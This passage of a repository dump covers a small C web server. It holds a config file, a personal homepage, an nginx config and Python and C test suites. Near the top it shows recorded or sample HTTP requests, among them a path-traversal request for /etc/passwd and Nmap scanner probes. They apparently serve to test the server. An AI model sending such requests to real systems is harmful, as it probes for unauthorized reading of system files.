/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././index.html HTTP/1.1\r\n 83 | Host: playin.coz.is\r\n 84 | User-Agent: curl/8.9.1\r\n 85 | Accept: */*\r\n 86 | \r\n 87 | 88 | GET /./../../../..//etc/passwd HTTP/1.1\r\n 89 | Host: playin.coz.is\r\n 90 | User-Agent: curl/8.9.1\r\n 91 | Accept: */*\r\n 92 | \r\n 93 | 94 | GET ////////////////////////////////////////////////index.html HTTP/1.1\r\n 95 | Host: playin.coz.is\r\n 96 | User-Agent: curl/8.9.1\r\n 97 | Accept: */*\r\n 98 | \r\n 99 | 100 | GET /nmaplowercheck1725865924 HTTP/1.1\r\n 101 | Host: playin.coz.is\r\n 102 | Connection: close\r\n 103 | User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\r\n 104 | \r\n 105 | 106 | POST /sdk HTTP/1.1\r\n 107 | Host: playin.coz.is\r\n 108 | Content-Length: 441\r\n 109 | Connection: close\r\n 110 | User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\r\n 111 | \r\n 112 | 113 | GET /evox/about HTTP/1.1\r\n 114 | Host: playin.coz.is\r\n 115 | Connection: close\r\n 116 | User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\r\n 117 | \r\n 118 | 119 | GET /HNAP1 HTTP/1.1\r\n 120 | Host: playin.coz.is\r\n 121 | Connection: close\r\n 122 | User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\r\n 123 | \r\n -------------------------------------------------------------------------------- /config.txt: -------------------------------------------------------------------------------- 1 | 2 | # Log buffer size in bytes 3 | log_buff_size_b 1048576 # 1MB 4 | 5 | # Log file size limit in bytes 6 | log_file_limit_b 16777216 # 16MB 7 | 8 | # Log folder limit in megabytes 9 | log_dir_limit_mb 25600 # 25GB 10 | 11 | # Log folder 12 | log_dir_path logs 13 | 14 | # How often the log buffer is flushed 15 | log_flush_timeout_sec 3 16 | 17 | # Capacity of the server. This must be lower than the NOFILE rlimit by 2. 18 | # If the rlimit is 1024, max_connections can only go up to 1024-2=1022 19 | max_connections 1022 20 | 21 | # Maximum HTTP request count that can be server through a single TCP connection 22 | keep_alive_max_requests 1000 23 | 24 | # Maximum time a TCP connection is allowed to be alive 25 | connection_timeout_sec 60 26 | 27 | # Timeout for the closing state (when response is being flushed before the TCP 28 | # connection is closed) 29 | closing_timeout_sec 1 30 | 31 | # Request receive timeout 32 | request_timeout_sec 5 33 | 34 | access_log yes 35 | 36 | # These are debug options 37 | show_io no 38 | show_requests no 39 | 40 | # Address and port the HTTP server will listen on. 41 | # To bind to all available interfaces, leave a blank address blank: 42 | http_addr "127.0.0.1" 43 | http_port 8080 44 | 45 | # Address and port the HTTPS server will listen on (if the server 46 | # has been built with HTTPS support). To bind to all interfaces you 47 | # must leave the address blank. 48 | https_addr "127.0.0.1" 49 | https_port 8081 50 | 51 | # Certificate and private key files 52 | cert_file "cert.pem" 53 | privkey_file "key.pem" 54 | -------------------------------------------------------------------------------- /docroot/chessboard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cozis/blogtech/ed530590aaa4aac9df075b221933cd392c6423de/docroot/chessboard.jpg -------------------------------------------------------------------------------- /docroot/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Cozis 4 | 133 | 134 | 135 |

Cozis

136 |
137 |

138 | Hello! I'm Francesco Cozzuto, a computer programmer from Italy with a strong focus on systems programming, networking, and graphics. Online I usually go by cozis. 139 |

140 | I have a deep interest in building interpreters, compilers, network stacks, and rendering engines. In the past, I've developed HTTP/1.1 servers (for Linux and Windows), scripting language interpreters, a full userspace network stack, and a physically-based renderer (PBR). My primary language is C, though I occasionally dive into C++ if necessary. 141 |

142 | Feel free to connect with me on LinkedIn, check out my projects on GitHub, or reach out via Discord (cozisx) or email at francesco.cozzuto [at] gmail.com :) 143 |

144 |
145 | 146 |
147 |

Projects

148 | 149 | 150 | 151 | 157 | 160 | 161 |
152 |

PBR Renderer

153 |

154 | It's a 3D renderer I built to dive deeper into graphics programming, using as reference the great LearnOpenGL tutorial and Google's Filament. The renderer implements Physically Based Rendering (PBR), a technique that simulates light and shadows to closely mimic real-world behavior. It supports shadow mapping, Image-Based Lighting (IBL), and can load meshes from external files. 155 |

156 |
158 | 159 |
162 | 163 |

MicroTCP

164 |

165 | MicroTCP is a user-space network stack I developed to better understand TCP and lower-level protocols like IP, ICMP, and ARP. It provides two interfaces: a blocking, BSD socket-like interface and a non-blocking, epoll-like interface for handling multiple connections efficiently. I tested it by porting xHTTP to it, an HTTP/1.1 implementation I wrote previously. You can also check out a discussion about it on Hacker News. 166 |

167 | 168 |

Noja

169 |

170 | This is the first "serious" project I worked on. It's an interpreter for a high level language I designed from scratch. It taught me how to manage non-trivial codebases and how important it is to keep complexity low. 171 | 172 | The language supports features like multiple return values, default argument values, and closures. It was a great learning experience and helped me understand interpreters deeply. You can find various examples in the examples/ folder of the GitHub repository, including an HTTP server I ported to the language. 173 |

174 | 175 |
176 |
177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 |
1fun loadFile(path: String) {
2
3 # Log the path
4 print("path=", path, "\n");
5
6 # Open the file
7 stream, error = files.openFile(path, files.READ);
8 if error != none:
9 return none, error;
10
11 # Copy its contents to a dinamically growing buffer
12 text = "";
13 size = 512;
14 do {
15 size = 2 * size;
16 data = buffer.new(size);
17
18 num_bytes, error = files.read(stream, data);
19 if error != none:
20 return none, error;
21
22 text = string.cat(text, buffer.toString(data));
23
24 } while num_bytes == size;
25
26 # Close the file handle
27 files.close(stream);
28
29 # Return the file contents to the caller
30 return text;
31}
210 |
211 |
212 | 213 |

xHTTP

214 |

215 | This was my first attempt at writing an HTTP server, and pretty much got me into network programming. It's an HTTP/1.1 server for Linux designed to be extremely lightweight and fast. It leverages all of the cool Linux-specific system calls like sendfile and epoll. These days I'm more interested in cross-platform code and non-blocking interfaces, so I would change the interface a bit. 216 | 217 |
218 |
219 | 220 | Here's how an application using xHTTP looks like: 221 |

222 |
223 |
224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 |
1#include <string.h>
2#include "xhttp.h"
3
4static void callback(xh_request *req, xh_response *res, void *userp)
5{
6 res->status = 200;
7 if(!strcmp(req->URL.str, "/file"))
8 res->file = "index.html"; // Send a static file
9 else
10 res->body.str = "Hello, world!"; // Send a string
11 xh_header_add(res, "Content-Type", "text/plain");
12}
13
14int main()
15{
16 xhttp(NULL, 8080, callback, NULL, NULL, NULL);
17 return 0;
18}
244 |
245 |
246 | 247 |

Minor stuff

248 | 249 | 250 | 253 | 256 | 257 | 258 | 261 | 264 | 265 | 266 | 267 | 270 | 271 | 272 | 273 | 276 | 277 | 278 | 281 | 284 | 285 |
251 | c2html 252 | 254 |

Tool to add HTML syntax highlighting to C code snippets

255 |
259 | TinyTemplate 260 | 262 |

Templating engine in C

263 |
Buddy Allocator 268 |

General-purpose allocator for memory constrained environments

269 |
TinyIO 274 |

Cross-platform interface for the various OS-specific event loop APIs (I/O completion ports on Windows and io_uring on Linux)

275 |
279 | gap_buffer.c 280 | 282 |

Gap buffer implementation, a data structure used in text editors

283 |
286 |
287 | 288 | 289 | -------------------------------------------------------------------------------- /misc/nginx.conf: -------------------------------------------------------------------------------- 1 | 2 | worker_processes 1; 3 | 4 | events { 5 | worker_connections 1024; 6 | } 7 | 8 | http { 9 | server { 10 | listen 8080; 11 | location /hello { 12 | add_header Content-Type text/plain; 13 | return 200 "Hello, world!"; 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /tests/test.py: -------------------------------------------------------------------------------- 1 | """ 2 | Starts the HTTP server and performs scripted interactions to check 3 | that the HTTP semantics are correct. 4 | """ 5 | 6 | import time 7 | import socket 8 | import subprocess 9 | import sys 10 | from datetime import datetime 11 | from dataclasses import dataclass 12 | 13 | HTTP_PORT = 8080 14 | HTTPS_PORT = 8081 15 | CONNECTION_TIMEOUT_SEC = 60 16 | CLOSING_TIMEOUT_SEC = 1 17 | REQUEST_TIMEOUT_SEC = 5 18 | 19 | @dataclass 20 | class Delay: 21 | """ 22 | Represents a delay in a scripted interaction 23 | """ 24 | sec: float 25 | 26 | @dataclass 27 | class Send: 28 | """ 29 | Represents output bytes in a scripted interaction 30 | """ 31 | def __init__(self, args): 32 | self.data = bytes("\r\n".join(args), "utf-8") 33 | 34 | @dataclass 35 | class Recv: 36 | """ 37 | Represents input bytes in a scripted interaction 38 | """ 39 | def __init__(self, args): 40 | self.data = bytes("\r\n".join(args), "utf-8") 41 | 42 | @dataclass 43 | class Close: 44 | """ 45 | Represents the connection termination in a scripted interaction 46 | """ 47 | 48 | class TestFailure(Exception): 49 | """ 50 | Class representing the failure of a test 51 | """ 52 | 53 | def print_bytes(prefix, data): 54 | """ 55 | Print a sequence of bytes over multiple lines adding a prefix 56 | before each line 57 | """ 58 | print(prefix, f"\\r\\n\n{prefix}".join(data.decode("utf-8").split("\r\n")), sep="") 59 | 60 | def run_test(test, addr, port): 61 | """ 62 | Evaluates the scripted interaction "test" making sure the server 63 | listening at addr:port behaves as expected 64 | """ 65 | 66 | conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 67 | 68 | conn.connect((addr, port)) 69 | 70 | for step in test: 71 | match step: 72 | 73 | case Delay(amount_ms): 74 | time.sleep(amount_ms/1000) 75 | 76 | case Send(data=data): 77 | sent = 0 78 | while sent < len(data): 79 | just_sent = conn.send(data[sent:]) 80 | if just_sent == 0: 81 | break 82 | print_bytes("< ", data[sent:sent+just_sent]) 83 | sent += just_sent 84 | 85 | case Recv(data=data): 86 | chunks = [] 87 | count = 0 88 | while count < len(data): 89 | chunk = conn.recv(len(data) - count) 90 | if chunk == b"": 91 | break 92 | print_bytes("> ", chunk) 93 | chunks.append(chunk) 94 | count += len(chunk) 95 | received = b''.join(chunks) 96 | if data != received: 97 | raise TestFailure(f"Wrong data. Received:\n\t{received}\nExpected:\n\t{data}") 98 | 99 | case Close(): 100 | chunk = conn.recv(1) 101 | if chunk != b"": 102 | raise TestFailure("expected close got some data") 103 | 104 | case _: 105 | pass 106 | 107 | 108 | tests = [ 109 | [ 110 | # Test "Connection: Close" 111 | Send([ 112 | "GET / HTTP/1.1", 113 | "Connection: Close", 114 | "", 115 | "", 116 | ]), 117 | Recv([ 118 | "HTTP/1.1 404 Not Found", 119 | "Connection: Close", 120 | "Content-Length: 15 ", 121 | "", 122 | "Nothing here :|", 123 | ]), 124 | Close(), 125 | ], 126 | [ 127 | # Test "Connection: Keep-Alive" 128 | Send([ 129 | "GET / HTTP/1.1", 130 | "Connection: Keep-Alive", 131 | "", 132 | "", 133 | ]), 134 | Recv([ 135 | "HTTP/1.1 404 Not Found", 136 | "Connection: Keep-Alive", 137 | "Content-Length: 15 ", 138 | "", 139 | "Nothing here :|", 140 | ]), 141 | Send([ 142 | "GET / HTTP/1.1", 143 | "Connection: Close", 144 | "", 145 | "", 146 | ]), 147 | Recv([ 148 | "HTTP/1.1 404 Not Found", 149 | "Connection: Close", 150 | "Content-Length: 15 ", 151 | "", 152 | "Nothing here :|", 153 | ]), 154 | Close(), 155 | ], 156 | [ 157 | # Test that the connection header is insensitive to case and whitespace 158 | Send([ 159 | "GET / HTTP/1.1", 160 | "Connection: keEp-ALiVE ", 161 | "", 162 | "", 163 | ]), 164 | Recv([ 165 | "HTTP/1.1 404 Not Found", 166 | "Connection: Keep-Alive", 167 | "Content-Length: 15 ", 168 | "", 169 | "Nothing here :|", 170 | ]), 171 | Send([ 172 | "GET / HTTP/1.1", 173 | "Connection: closE", 174 | "", 175 | "", 176 | ]), 177 | Recv([ 178 | "HTTP/1.1 404 Not Found", 179 | "Connection: Close", 180 | "Content-Length: 15 ", 181 | "", 182 | "Nothing here :|", 183 | ]), 184 | Close(), 185 | ], 186 | [ 187 | Send([ 188 | "XXX", 189 | "", 190 | "", 191 | ]), 192 | Recv([ 193 | "HTTP/1.1 400 Bad Request", 194 | "Connection: Close", 195 | "", 196 | "", 197 | ]), 198 | ], 199 | [ 200 | Send([ 201 | "GET /hello HTTP/1.1", 202 | "Connection: Keep-Alive", 203 | "", 204 | "", 205 | ]), 206 | Recv([ 207 | "HTTP/1.1 200 OK", 208 | "Connection: Keep-Alive", 209 | "Content-Length: 13 ", 210 | "", 211 | "Hello, world!", 212 | ]), 213 | ], 214 | [ 215 | # Test request timeout 216 | Send([ 217 | "GET /hel" 218 | ]), 219 | Delay(6), 220 | Recv([ 221 | "HTTP/1.1 408 Request Timeout", 222 | "Connection: Close", 223 | "", 224 | "", 225 | ]), 226 | Close() 227 | ], 228 | [ 229 | # Test idle connection timeout 230 | Delay(6), 231 | Close() 232 | ], 233 | [ 234 | # Test invalid protocol version 235 | Send([ 236 | "GET /hello HTTP/2", 237 | "Connection: Keep-Alive", 238 | "", 239 | "" 240 | ]), 241 | Recv([ 242 | "HTTP/1.1 505 HTTP Version Not Supported", 243 | "Connection: Keep-Alive", 244 | "Content-Length: 0 ", 245 | "", 246 | "", 247 | ]), 248 | ], 249 | [ 250 | # Send request in pieces 251 | Send([ 252 | "GET /hello HT", 253 | ]), 254 | Delay(1), 255 | Send([ 256 | "TP/1.1", 257 | "Connection: Ke", 258 | ]), 259 | Delay(1), 260 | Send([ 261 | "ep-Alive", 262 | "", 263 | "", 264 | ]), 265 | Recv([ 266 | "HTTP/1.1 200 OK", 267 | "Connection: Keep-Alive", 268 | "Content-Length: 13 ", 269 | "", 270 | "Hello, world!", 271 | ]), 272 | ], 273 | [ 274 | # Test pipelining 275 | Send([ 276 | "GET /hello HTTP/1.1", 277 | "Connection: Keep-Alive", 278 | "", 279 | "GET /hello HTTP/1.1", 280 | "Connection: Keep-Alive", 281 | "", 282 | "", 283 | ]), 284 | Recv([ 285 | "HTTP/1.1 200 OK", 286 | "Connection: Keep-Alive", 287 | "Content-Length: 13 ", 288 | "", 289 | "Hello, world!", 290 | ]), 291 | Recv([ 292 | "HTTP/1.1 200 OK", 293 | "Connection: Keep-Alive", 294 | "Content-Length: 13 ", 295 | "", 296 | "Hello, world!", 297 | ]), 298 | ], 299 | ] 300 | 301 | def main(): 302 | """ 303 | Entry point 304 | """ 305 | 306 | config_file = "test_config.txt" 307 | with open(config_file, "w", encoding="utf-8") as file: 308 | file.write(f""" 309 | log_buff_size_b 1048576 # 1MB 310 | log_file_limit_b 16777216 # 16MB 311 | log_dir_limit_mb 25600 # 25GB 312 | log_dir_path logs 313 | log_flush_timeout_sec 3 314 | max_connections 1022 315 | keep_alive_max_requests 1000 316 | connection_timeout_sec {CONNECTION_TIMEOUT_SEC} 317 | closing_timeout_sec {CLOSING_TIMEOUT_SEC} 318 | request_timeout_sec {REQUEST_TIMEOUT_SEC} 319 | access_log no 320 | show_io no 321 | show_requests no 322 | http_addr "127.0.0.1" 323 | http_port {HTTP_PORT} 324 | https_addr "127.0.0.1" 325 | https_port {HTTPS_PORT} 326 | cert_file "cert.pem" 327 | privkey_file "key.pem" 328 | """) 329 | 330 | total = 0 331 | passed = 0 332 | 333 | with subprocess.Popen(['../serve', config_file], stdout=subprocess.PIPE, 334 | stderr=subprocess.PIPE) as server_process: 335 | timeout_sec = 10 336 | 337 | online = False 338 | start_time = datetime.now() 339 | while not online: 340 | 341 | elapsed_sec = (datetime.now() - start_time).total_seconds() 342 | if elapsed_sec >= timeout_sec: 343 | print("Couldn't connect to server") 344 | server_process.terminate() 345 | return 1 346 | 347 | time.sleep(0.5) 348 | 349 | try: 350 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn: 351 | conn.connect(("127.0.0.1", HTTP_PORT)) 352 | online = True 353 | except ConnectionRefusedError: 354 | pass 355 | print("Connected") 356 | 357 | for i, current_test in enumerate(tests): 358 | try: 359 | run_test(current_test, "127.0.0.1", HTTP_PORT) 360 | print("Test", i, "passed\n") 361 | passed += 1 362 | except TestFailure as exception: 363 | print("Test", i, "failed:", exception.with_traceback(None), "\n") 364 | total += 1 365 | print("passed: ", passed, "/", total, sep="") 366 | server_process.terminate() 367 | server_process.wait() 368 | 369 | if passed < total: 370 | return 1 371 | return 0 372 | 373 | if __name__ == "__main__": 374 | sys.exit(main()) 375 | -------------------------------------------------------------------------------- /tests/test_config.c: -------------------------------------------------------------------------------- 1 | #define NOMAIN 2 | #include "../serve.c" 3 | 4 | typedef struct { 5 | string src; 6 | ConfigEntry *entries; 7 | int count; 8 | } Test; 9 | 10 | int main(void) 11 | { 12 | Test tests[] = { 13 | { 14 | .src = LIT(""), 15 | .count = 0, 16 | }, 17 | { 18 | .src = LIT(" \r \n "), 19 | .count = 0, 20 | }, 21 | { 22 | .src = LIT("# Comment"), 23 | .count = 0, 24 | }, 25 | { 26 | .src = LIT("# Comment\n"), 27 | .count = 0, 28 | }, 29 | { 30 | .src = LIT(" \r \n # Comment"), 31 | .count = 0, 32 | }, 33 | { 34 | // Invalid charactere where a name was expected 35 | .src = LIT("@"), 36 | .count = -1, 37 | }, 38 | { 39 | // Invalid charactere where a name was expected 40 | .src = LIT(" \r\n @"), 41 | .count = -1, 42 | }, 43 | { 44 | // Valid field name but missing value 45 | .src = LIT("xxx"), 46 | .count = -1, 47 | }, 48 | { 49 | // Valid field name but missing value (with spaces after the name) 50 | .src = LIT("xxx \r "), 51 | .count = -1, 52 | }, 53 | { 54 | // Test various string and bool entries 55 | .src = LIT( 56 | "a y\n" 57 | "b ye\n" 58 | "c yes\n" 59 | "d yesx\n" 60 | "e n\n" 61 | "f no\n" 62 | "g nox\n" 63 | "h \"\"\n" 64 | "i \"hello world!\"\n" 65 | ), 66 | .count = 9, 67 | .entries = (ConfigEntry[]) { 68 | {.name=LIT("a"), .type=CE_STR, .txt=LIT("y")}, 69 | {.name=LIT("b"), .type=CE_STR, .txt=LIT("ye")}, 70 | {.name=LIT("c"), .type=CE_BOOL, .yes=true}, 71 | {.name=LIT("d"), .type=CE_STR, .txt=LIT("yesx")}, 72 | {.name=LIT("e"), .type=CE_STR, .txt=LIT("n")}, 73 | {.name=LIT("f"), .type=CE_BOOL, .yes=false}, 74 | {.name=LIT("g"), .type=CE_STR, .txt=LIT("nox")}, 75 | {.name=LIT("h"), .type=CE_STR, .txt=LIT("")}, 76 | {.name=LIT("i"), .type=CE_STR, .txt=LIT("hello world!")}, 77 | }, 78 | }, 79 | { 80 | // Test various integer entries 81 | .src = LIT( 82 | "a 0\n" 83 | "b 1000\n" 84 | "c 4294967295\n" // Maximum value 85 | ), 86 | .count = 3, 87 | .entries = (ConfigEntry[]) { 88 | {.name=LIT("a"), .type=CE_INT, .num=0}, 89 | {.name=LIT("b"), .type=CE_INT, .num=1000}, 90 | {.name=LIT("c"), .type=CE_INT, .num=-1}, 91 | }, 92 | }, 93 | { 94 | // Test overflow 95 | .src = LIT( 96 | "a 4294967296\n" // Maximum value plus 1 97 | ), 98 | .count = -1, 99 | }, 100 | { 101 | // Test valid field names 102 | .src = LIT( 103 | "_ 0\n" 104 | "_a 0\n" 105 | "a0 0\n" 106 | ), 107 | .count = 3, 108 | .entries = (ConfigEntry[]) { 109 | {.name=LIT("_"), .type=CE_INT, .num=0}, 110 | {.name=LIT("_a"), .type=CE_INT, .num=0}, 111 | {.name=LIT("a0"), .type=CE_INT, .num=0}, 112 | }, 113 | }, 114 | { 115 | // Test invalid name starting with a digit 116 | .src = LIT( 117 | "0" 118 | ), 119 | .count = -1, 120 | }, 121 | { 122 | // Test invalid name starting with an unprintable character 123 | .src = LIT( 124 | "\xff" 125 | ), 126 | .count = -1, 127 | }, 128 | { 129 | // Test comments 130 | .src = LIT( 131 | "# comment\n" 132 | "field 0 # comment\n" 133 | "\n" 134 | "# comment\n" 135 | ), 136 | .count = 1, 137 | .entries = (ConfigEntry[]) { 138 | {.name=LIT("field"), .type=CE_INT, .num=0}, 139 | }, 140 | }, 141 | { 142 | // Test invalid character after field 143 | .src = LIT( 144 | "field 0 ;" 145 | ), 146 | .count = -1, 147 | } 148 | }; 149 | 150 | int total = 0; 151 | int passed = 0; 152 | for (int i = 0; i < COUNTOF(tests); i++) { 153 | config_init(); 154 | bool ok = config_parse(tests[i].src); 155 | if (tests[i].count == -1) { 156 | if (ok) { 157 | // Parsing succeded but was expected a failure 158 | printf("Test %d: Parsing succeded but was expected a failure\n", i); 159 | } else { 160 | printf("Test %d: Passed\n", i); 161 | passed++; 162 | } 163 | } else { 164 | assert(tests[i].count > -1); 165 | if (ok) { 166 | bool match = true; 167 | for (int j = 0; j < config_count; j++) { 168 | 169 | match = false; 170 | bool found = false; 171 | ConfigEntry entry = config_entries[j]; 172 | 173 | for (int k = 0; k < tests[i].count; k++) { 174 | 175 | ConfigEntry expect = tests[i].entries[k]; 176 | 177 | if (streq(entry.name, expect.name)) { 178 | 179 | found = true; 180 | 181 | if (entry.type != expect.type) { 182 | printf("Entry '%.*s' has the wrong type\n", 183 | (int) entry.name.size, entry.name.data); 184 | break; 185 | } 186 | 187 | switch (entry.type) { 188 | case CE_BOOL: match = (entry.yes == expect.yes); break; 189 | case CE_INT: match = (entry.num == expect.num); break; 190 | case CE_STR: match = streq(entry.txt, expect.txt); break; 191 | } 192 | 193 | if (match) 194 | break; 195 | 196 | printf("Entry '%.*s' has the wrong value\n", 197 | (int) entry.name.size, entry.name.data); 198 | } 199 | } 200 | 201 | if (!match) { 202 | if (!found) 203 | printf("Entry '%.*s' is missing\n", 204 | (int) entry.name.size, entry.name.data); 205 | break; 206 | } 207 | } 208 | if (match) { 209 | printf("Test %d: Passed\n", i); 210 | passed++; 211 | } else { 212 | printf("Test %d: Failed\n", i); 213 | } 214 | } else { 215 | printf("Test %d: Parsing failed but was expected to succede\n", i); 216 | } 217 | } 218 | config_free(); 219 | total++; 220 | } 221 | printf("Passed %d/%d\n", passed, total); 222 | return (passed == total) ? 0 : -1; 223 | } 224 | --------------------------------------------------------------------------------